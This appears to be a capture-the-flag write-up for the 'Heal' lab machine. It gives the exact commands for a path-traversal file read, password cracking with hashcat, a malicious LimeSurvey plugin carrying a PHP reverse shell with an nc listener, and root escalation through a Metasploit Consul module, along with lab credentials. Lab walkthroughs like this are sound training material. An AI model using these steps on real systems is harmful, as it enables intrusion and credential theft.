Heal Writeup

Enumeration

Let’s start with nmap scan:

nmap -Pn -A -p- 10.10.11.46 -v

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

The results show two open ports:

• 22/tcp – SSH (OpenSSH 8.9p1)
• 80/tcp – HTTP (nginx 1.18.0)

HTTP redirects us to heal.htb, so we add it to /etc/hosts:

Upon visiting heal.htb, we’re met with a login page:

We register an account (requires api.heal.htb in /etc/hosts), and are redirected to a Resume Builder: This form lets you generate and export resumes as PDFs.

Visiting api.heal.htb confirms the backend is Ruby on Rails.

Exploring the app further, the Survey section redirects to take-survey.heal.htb, which runs LimeSurvey.

Tried the admin panel with default creds (admin:password)—no luck.

Initial Foothold

I returned to the Resume Builder feature and started exploring its functionality. While exporting a created resume to PDF, I intercepted the requests and noticed something interesting—a file download endpoint:

I tested for a Local File Inclusion (LFI) vulnerability, and it worked!

Since the backend was running Ruby on Rails, I consulted the official Rails configuration guide to identify key configuration files. Using the LFI, I fetched the database configuration file /download?filename=../../config/database.yml:

I then downloaded the database file directly using wget:

wget --header="Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo3fQ.bN47YVxPM1ZVqbw4J7oHZeDc3ixY3KO6yZpM5M3nfZE" "http://api.heal.htb/download?filename=../../storage/development.sqlite3" -O development.sqlite3

After running strings development.sqlite3, I found a bcrypt hash for the ralph user: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

I used Hashcat to crack it: hashcat -m 3200 -a 0 ralphHASH.txt /usr/share/wordlists/rockyou.txt $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

The cracked password was: ralph:147258369 I then logged in to take-survey.heal.htb using those credentials. Then just scrolling down it reveals that LimeSurvey 6.6.4 version is used.

While exploring the interface, I noticed it was running LimeSurvey version 6.6.4.

I searched for a known exploit using the query limesurvey 6.6.4 exploit and found this blog post on CVE-2021-44967. Although the exploit was originally for older versions, I decided to try it anyway.

Using the resource I did the following steps:
1. Downloaded files from github
2. Modified php-rev.php to include my tun0 IP and desired port:

3. In config.xml I added version 6.0 compatibilty since otherwise it would give The plugin is not compatible with your version of LimeSurvey. error.

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Y1LD1R1M</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>Y1LD1R1M</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>6.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
                <![CDATA[Author : Y1LD1R1M]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

4. Then zipped it all up: zip -r Y1LD1R1M.zip config.xml php-rev.php
5. In the LimeSurvey dashboard, I navigated to: Configuration → Plugins → Upload & Install, selected the crafted ZIP file, and clicked Install → Install. After installation, I activated the plugin:

6. With the plugin active, I prepared a reverse shell listener on my attacking machine: nc -lvnp 1234. Then, I triggered the payload by accessing: take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php and got a shell: Used python3 -c 'import pty; pty.spawn("/bin/bash")' for a upgraded shell.

While exploring the system, I found credentials in /var/www/limesurvey/application/config/config.php: I tried logging in via SSH with those creds and successfully accessed the machine as user ron: ron:AdmiDi0_pA$$w0rd.

Privilege Escalation

While exploring the system, I noticed a non-ordinary process running as root by inspecting the process list with ps aux:

root     1737  0.0  0.1  /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d

This indicated that HashiCorp Consul was running locally. I checked the Consul version via the binary:

After researching potential exploits, I came across a known Metasploit module

To exploit it, I followed these steps:

1. Port Forward Consul’s Web UI (Port 8500) to my local machine:

   ssh -L 8500:localhost:8500 ron@10.10.11.46
   

2. Launch Metasploit and configure the exploit:

   msfconsole -q
   use exploit/multi/misc/consul_service_exec
   set RHOSTS localhost
   set LHOST tun0
   run
   sessions 2
   

   After a few moments, I received a session as root:

And just like that — I had root access on the box!